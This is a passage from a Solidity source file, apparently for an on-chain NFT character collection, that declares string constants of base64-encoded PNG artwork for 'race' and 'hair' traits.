9dhORCEdHfqjKUuXuzcyqXS7DUWLJXZeKdgO2FxGnmkUWi4vfXiuGp9Pl63vgfw4itlooqa3Bcr952Y7inZjMuttEezx3bWuaCh7Ay2C79U4sg+15FrcXoLQegA/kiZFqe5GLkAPwv/QK/wYSwaMfhfgsXgAAAABJRU5ErkJggg==";
string public constant race6 = "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";
string public constant race7 = "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";
string public constant race8 = "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";
string public constant race9 = "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";
}
contract Hair {
string public constant hair1 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAAC8EZcfAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAzUExURUdwTIGXljlKUFdyd613V00rMhAUHzQcJyQVJ3pIQefVs9e1lGAsLCAuN8CUc6i1ssfPzFy2HNwAAAABdFJOUwBA5thmAAAE20lEQVR42u2Z21LrOhBEo7sUR3b+/2tP98ghkGwCpOp49DAND+CC0qLnKnM6mUwmk8lkMplMJpPJZDKZPqvW+uYvHsRXSqnv/eJRhPXy1lGHAeKodwjf/LOOIqyH8pGw/jG8x/LxwL/U8uF8fzxSgW8/tP72Ry+H8w3CX/mCxqnBJ33tN4RqfKN1/Bhm8hUlQEmunxAlE5QJXx7PNNAk3E18vfwoBnmY+MP59XLR4xtV8HKs6Bo49sPyYpXS5pM8fNVKai3KgHuUv6HQLOFfEdYZ+PZ58U+SepkC8PRtP6yXy4wWtlbruJ7WMiVhiq1Jdbyu8OMBbygpRkEUHycirHWPbI1UK7WlpLgQPjeUJKo1xfN5GYQxzdEKZcNmXFsjYlrOZ3iYSNjqRIA3xAoL6eFOWMsUMU5xAdRO2JZ7lNskzTqlMwNLQlRwG4hCOEmMU4uDqbV1XUlKR0GXGOoZDGQOLmfwLctCM5elIb7ymSbYuQYg43tmhYARH8s6HuoTErAJ33kIQSbjEucgFL4P9yQFoZWgO2FTJRx8qUjyLcS7I8YPwqpaISnJblBQuuvNNTSbdbeQhFU/woRsozIKW2Es7RbkpMwHmhtiWUb3S2CM9FAdcPcvSRwBtdLCQkS0Hokyq1ivSGTHAllFX2HiRSFkRpZBSPCUVKsYDnHgLqM01s+EpZUmgKVqNsIC90AISl5GdsIihK0kpCf2Vl3AKoXBumVp7G1QCEcucvfXHSXc/RBMpGESDwm68hqAp2KhOqGsfW2RTX9vMmg4dDCyhkmo/JpLsOq4EyepDhDCxMjOPQiVFxpc5xrvdI18suqXlU2b87nNQIhSSTLt4CD4mJWoFtQLNxwp5hkIZcBxAZQbEzwEINeuOAch4syyBVyU62bhfEbL+SCc43VmlekmGZkEMcZxw5uHsPINHPk4QoQw7oRKgPlxfS0AZGsmYdtNjE3WHQ3CnB8XbHnPlTOrpo7ddSxjVWWe5J4fLBx4mYR1J5QxjdmsME+6z933ry279jw0/psofQcVI+hH4/XgfHD5C2DOPvcbYdkdZJM83EDgbS7nLeRPFpLPAzETsu4RBiCXr4MB4d4GjM35z1kIvuAR+NzlMS+jWLii5OPBRdIZx+6ugSG987nQ6WH3e2ruI2UsYfXgBpN7uG6bg4cfz1zw3oU73wdhK4dPEvK5zQUi3gjBh2dIwtA/jxcdQPRAtwmQQ9bd+ByeMQ/z6SthUVhnst828F2RdoAUPpjpQsCn/zqilQBpIPncxlr2G/iYkWB0+Rnw+DECwI6Ierdd0VPQs8nHmAfn5wAMDmUCrquDfXc+eNhPj4AaC3X2joUMBzdQBTrJ7/CFz4+AOrtgRqp1FMTGoAL1yhYDvtAffk7r4p5pFXuzNJqAULNGngxkS9fZ8DOrNTMLXWe/2a5MQ/9kIBccHUBPQFatVMs1XAEbQng2MKhZmBloVEjmQMnSBcODXVlakJaFWQINps4VgfF1/4rwE/WhV7pRK+ALnHzuIZxZl/AeaPIxFZ9JZP1/Aj/66im7l8foe4zwd1fowwONQSLNpufTdIQ8l2sDI9z1AvlaNNDnefmy8OUwL9+4OuVZAaWVaNbpX1/DzenhyWQymUwmk8lkMplMJpPJZDKZTCaTyWQymf5v/Qf2czxGWlVzQQAAAABJRU5ErkJggg==";
string public constant hair3 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAASUExURUdwTDQcJ613V00rMnpIQde1lEvAwUcAAAABdFJOUwBA5thmAAACmElEQVRo3u3YO5LbMAwGYHKUAwhL5QCGuH0oYPs1AV1AWd7/KltItuSkBIpMhn/jyt9AoPgQQ+jp6enp6enp6enp6enp6en5zxIBRk8PEvEdHD1WFRY3MSatiLOfmOodEdGtxlhzwUN0GZmEAoiImImKR4FLLgkdS0xIwHiUyMWhwBm4ol+JCQsrPkJqLjHNSesTdChxKnwBs73ENOkFdCgR5FohKqkRnIj0HBSHN+dvkGwlRqLrMyuRFRSiE1xbU+OEjno+c15ba5sYQRZ6TBVtrbUtW0GV45l1be0OincbGFh3MNfWvgCgZuvsY2FFRH1v7Q4Ab2ZwUNK9wA0AYELzEjaIVtTDA8BP8yrLXPPa2g1CCADVDg6qubUNxhBC9AADa23ttvcO3kw93P88cW3bsc37gITb4/wVTWDc59m04PP0FScLmGQMIURZchldQczPg5IJjCRlBy97kwVMLOVo4akYTseRVCCEMC3XRdACshKMry00gkJQ/mhhtIBJpdAY5dpCG8hapvJDzrcwBNMnC1Cdk7C8jIkJTAkLa30FDROFoCxz4jqDF1hSwpKWCxhN4EBQFiko4DLIIQxUaMp0BSHZQKJU9QU0rV6BiEizIzjsZ6VyroZmMDNpvoJsOzhQFeELCGaQZ34Fjd8VA1W9PHIcrWCgmjWX56Y8Jis4MOpXOafHVMznTeTtBONiBqnSKs8VASo4gB/zCWbz1cigxM8mxulmv2tRSk0e4HK332MwlfXreBPB4zJoEJnaAaabx10Qc1nvD9DjbmkQ+bnvKnGaXa6/mD8OcPkMPiUePYzLLx+QncHAmzM4rLMzyL99wUDvxRcc1jKGECJ7geG4/yE3cJD9J7jFkerp6enp6enp6fkX8w2We5EgICoSYQAAAABJRU5ErkJggg==";
string public constant hair2 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAABJQTFRFAAAANBwnTSsyekhBrXdX17WUYPgYSwAAAAF0Uk5TAEDm2GYAAAMXSURBVGje7dgxsuM2DAZgyrmAf9LpQ1DbLwnqABLgAyQW7n+VFPZ79s6WYJHJ8O/9DSiZFIgQZmZmZmZmZmZmZmZmZmZmZv5nWYDrSA+RSsVArzC30oaJS+SueowTY6+qqsNqXLpkfYlD3kzUBlVVFaI8osBVctSBJUYlFH2VWPKAAg+UruNKjJoL61eI3SXGI3L/BgeUmHL5AMVfYkz8AQ4oEe2zQmViJ5iI+P1SBvxzfgfJV+JC9LlmJvKCjegNbmbs3NALv9csm5mdzQmWRl9bhc3MTvGC3F5r5s2sgrX6wFD4CUo3ewDo4t19pRVWVb6bVQA3N3hh4meBJwAkdR9hl8Zd+eUB+tN9ypbSZTPbEUIAuh+8MIvZiWsIYRkBhsLdbH8+O9xcz/D541S6na/P/BiQ9PzqvxYXuDz3WVr1u/takgeM7RpCWNoq+ToUVPlulFzgQi0/wY9vkweMpeXXI3wrju54IW4IIaT18xD0gIUJ118foRNshByWph/N6+IBI7dM16VpfSs+sHBO+Y8mOT0ZXIPrygLqR2ylSb4xriEkAXxgjJoLd8lVGEB/APDcBQh5PWLpB+R2MnfbkxPMMWqO6wGtd7kbwD7wQshry9qw7Tdj5nv1XSMvlCkJaUM/cbOz/w1EH0gUO2sD3wW4m1S4Tq9ARMSiDanbycwCJ3h59koZ4G529uoHpRBLRkXiu+0JKL7GgXprRTKSAsxc/WA5SpGMmqQiMQDnveJCnVkyUu1SAT8YqAtLBjq6MVdELxiL8iMjJUE3FqTsBJei5cy41V5TN8HqBqnT1